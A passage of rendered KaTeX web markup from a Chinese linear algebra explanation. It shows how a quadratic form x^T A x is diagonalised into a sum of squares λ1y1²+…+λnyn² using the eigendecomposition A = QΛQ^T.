style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="minner">…</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.667em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="5.400em" viewBox="0 0 667 5400"><path d="M403 1759 V84 H666 V0 H319 V1759 v1800 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v1800 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.98em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">11</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">21</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.48em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.98em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">22</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.48em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.98em;"><span style="top:-5.64em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span><span style="top:-4.44em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span><span style="top:-2.58em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">⋱</span></span></span><span style="top:-1.38em;"><span class="pstrut" style="height:3.5em;"></span><span class="mord"><span class="minner">…</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.48em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.98em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">nn</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.48em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.667em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="5.400em" viewBox="0 0 667 5400"><path d="M347 1759 V0 H0 V84 H263 V1759 v1800 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v1800 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.875em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="5.400em" viewBox="0 0 875 5400"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1884c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1892c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.98em;"><span style="top:-5.8275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-4.6275em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord">⋮</span><span class="mord rule" style="border-right-width:0em;border-top-width:1.5em;bottom:0em;"></span></span></span></span><span style="top:-1.5675em;"><span class="pstrut" style="height:3.6875em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.48em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-4.95em;"><span class="pstrut" style="height:7.4em;"></span><span style="width:0.875em;height:5.400em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="5.400em" viewBox="0 0 875 5400"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1809c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1944c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span></span></span></span></span></p><p>因此，二次齐次函数可以表示为矩阵形式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> x^T A x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span></span></span></span>。</p><p>规范式指的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><msubsup><mi>y</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msub><mi>λ</mi><mn>2</mn></msub><msubsup><mi>y</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>λ</mi><mi>n</mi></msub><msubsup><mi>y</mi><mi>n</mi><mn>2</mn></msubsup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> \lambda_1 y_1^2 + \lambda_2 y_2^2 + \ldots + \lambda_n y_n^2 = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0622em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0622em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0611em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex"> n = 2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>时，就是椭圆的标准方程。</p><p>利用特征值和特征向量，可以将二次齐次函数化为规范式。</p><p>当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A = Q \Lambda Q^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 时，有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi><mo>=</mo><msup><mi>x</mi><mi>T</mi></msup><mi>Q</mi><mi mathvariant="normal">Λ</mi><msup><mi>Q</mi><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> x^T A x = x^T Q \Lambda Q^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0858em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">Q</span><span class="mord">Λ</span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span></span></p></p><p>令 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><msup><mi>Q</mi><mi>T</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> y = Q^T x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0358em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>，则有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>x</mi><mi>T</mi></msup><mi>A</mi><mi>x</mi><mo>=</mo><msup><mi>y</mi><mi>T</mi></msup><mi mathvariant="normal">Λ</mi><mi>y</mi><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><msubsup><mi>y</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msub><mi>λ</mi><mn>2</mn></msub><msubsup><mi>y</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>λ</mi><mi>n</mi></msub><msubsup><mi>y</mi><mi>n</mi><mn>2</mn></msubsup></mrow><annotation encoding="application/x-tex"> x^T A x = y^T \Lambda y = \lambda_1 y_1^2 + \lambda_2 y_2^2 + \ldots + \lambda_n y_n^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0858em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord">Λ</span><span 